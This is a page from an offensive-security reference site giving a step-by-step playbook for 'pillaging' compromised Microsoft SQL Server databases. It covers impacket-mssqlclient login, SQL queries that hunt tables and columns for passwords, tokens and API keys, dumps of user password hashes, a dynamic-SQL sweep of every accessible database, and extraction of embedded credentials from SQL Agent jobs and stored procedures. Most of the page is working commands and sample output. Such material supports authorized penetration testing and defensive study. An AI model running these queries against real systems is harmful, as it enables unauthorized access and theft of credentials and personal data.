Skip to content
HackIndex.io

MSSQL Database Pillaging

4 min read Created May 15, 2026 Last updated May 15, 2026

Once access is established through SQL authentication or via xp_cmdshell, the database itself is the primary loot target. Application databases contain credentials, API keys, PII, session tokens, and business-sensitive data. This page covers efficient enumeration of database structure and systematic extraction of high-value content.

High-value extraction targets in MSSQL application databases:

  • User tables with password hashes and API tokens

  • Configuration and settings tables with SMTP passwords and integration keys

  • SQL Agent job steps with embedded credentials in command text

  • Stored procedures containing hardcoded connection strings

Enumerate Databases

List all databases on the instance. System databases (master, tempdb, model, msdb) rarely contain application data: focus on anything else:

┌──(kali㉿kali)-[~]
└─$ impacket-mssqlclient $DOMAIN/$USER:$PASSWORD@$TARGET_IP -windows-auth
mysql> SELECT name, database_id, create_date FROM sys.databases ORDER BY database_id; 
name          database_id  create_date
master        1            2003-04-08 09:13:36
tempdb        2            2024-01-15 09:22:11
model         3            2003-04-08 09:13:36
msdb          4            2000-08-06 01:53:27
AppDB         5            2022-03-14 11:04:52
HRSystem      6            2021-09-01 08:33:17

AppDB and HRSystem are application databases worth enumerating.

Check which databases the current login can access:

mysql> SELECT name FROM sys.databases WHERE HAS_DBACCESS(name) = 1;

Enumerate Tables

Switch to the target database and list all tables:

mysql> USE AppDB;
mysql> SELECT TABLE_SCHEMA, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE' ORDER BY TABLE_NAME;

Look for tables with names suggesting credentials, tokens, or sensitive data:

mysql> SELECT TABLE_SCHEMA, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
mysql> WHERE TABLE_NAME LIKE '%user%'
mysql>  OR TABLE_NAME LIKE '%account%'
mysql>  OR TABLE_NAME LIKE '%login%'
mysql>  OR TABLE_NAME LIKE '%credential%'
mysql>  OR TABLE_NAME LIKE '%password%'
mysql>  OR TABLE_NAME LIKE '%token%'
mysql>  OR TABLE_NAME LIKE '%secret%'
mysql>  OR TABLE_NAME LIKE '%key%'
mysql>  OR TABLE_NAME LIKE '%api%';

Hunt Credential Columns

Search across all tables in the current database for columns likely to hold credentials:

mysql> SELECT TABLE_NAME, COLUMN_NAME, DATA_TYPE
mysql> FROM INFORMATION_SCHEMA.COLUMNS
mysql> WHERE COLUMN_NAME LIKE '%password%'
mysql>  OR COLUMN_NAME LIKE '%passwd%'
mysql>  OR COLUMN_NAME LIKE '%pwd%'
mysql>  OR COLUMN_NAME LIKE '%secret%'
mysql>  OR COLUMN_NAME LIKE '%token%'
mysql>  OR COLUMN_NAME LIKE '%api_key%'
mysql>  OR COLUMN_NAME LIKE '%hash%'; 
TABLE_NAME   COLUMN_NAME      DATA_TYPE
users        password_hash    varchar
users        api_token        varchar
settings     smtp_password    varchar
integrations api_key          varchar

Dump Sensitive Tables

Once interesting tables and columns are identified, read the data directly:

mysql> SELECT TOP 20 username, email, password_hash, api_token FROM users; 
username    email                  password_hash                               api_token
admin       admin@corp.local       $2y$10$abc123...                            tok_live_abc123
jsmith      j.smith@corp.local     $2y$10$def456...                            NULL

Bcrypt hashes are slow to crack. Look for weaker hash formats first: MD5, SHA1, or unsalted SHA256 are common in older applications. Check the hash length and format before deciding whether cracking is worth attempting.

For configuration or settings tables that may store integration credentials:

mysql> SELECT * FROM settings WHERE setting_key LIKE '%password%' OR setting_key LIKE '%secret%' OR setting_key LIKE '%key%';

Search All Databases

Run the column search across all non-system databases at once using dynamic SQL:

mysql> DECLARE @sql NVARCHAR(MAX) = '';
mysql> SELECT @sql += 'USE [' + name + ']; ' +
mysql>  'SELECT ''' + name + ''' AS db, TABLE_NAME, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS ' +
mysql>  'WHERE COLUMN_NAME LIKE ''%password%'' OR COLUMN_NAME LIKE ''%secret%'' OR COLUMN_NAME LIKE ''%token%''; '
mysql> FROM sys.databases
mysql> WHERE name NOT IN ('master','tempdb','model','msdb') AND HAS_DBACCESS(name) = 1;
mysql> EXEC sp_executesql @sql;

msdb: SQL Server Agent Job Loot

The msdb system database contains SQL Server Agent job definitions. Jobs often include inline T-SQL, PowerShell, or OS commands with embedded credentials:

mysql> USE msdb;
mysql> SELECT j.name AS job_name, s.command FROM dbo.sysjobs j
mysql> JOIN dbo.sysjobsteps s ON j.job_id = s.job_id
mysql> ORDER BY j.name;

Look for connection strings, passwords passed as arguments, or hardcoded credentials in the command column.

Stored Procedures and Views

Stored procedures and views sometimes contain embedded credentials or logic that reveals how the application stores and retrieves sensitive data:

mysql> USE AppDB;
mysql> SELECT ROUTINE_NAME, ROUTINE_TYPE FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_TYPE = 'PROCEDURE';

Read a specific procedure:

mysql> SELECT OBJECT_DEFINITION(OBJECT_ID('dbo.sp_authenticate'));

Or search procedure definitions for credential patterns:

mysql> SELECT name, OBJECT_DEFINITION(object_id) AS definition
mysql> FROM sys.objects
mysql> WHERE type = 'P'
mysql>  AND (OBJECT_DEFINITION(object_id) LIKE '%password%'
OR OBJECT_DEFINITION(object_id) LIKE '%apikey%'
OR OBJECT_DEFINITION(object_id) LIKE '%secret%');

References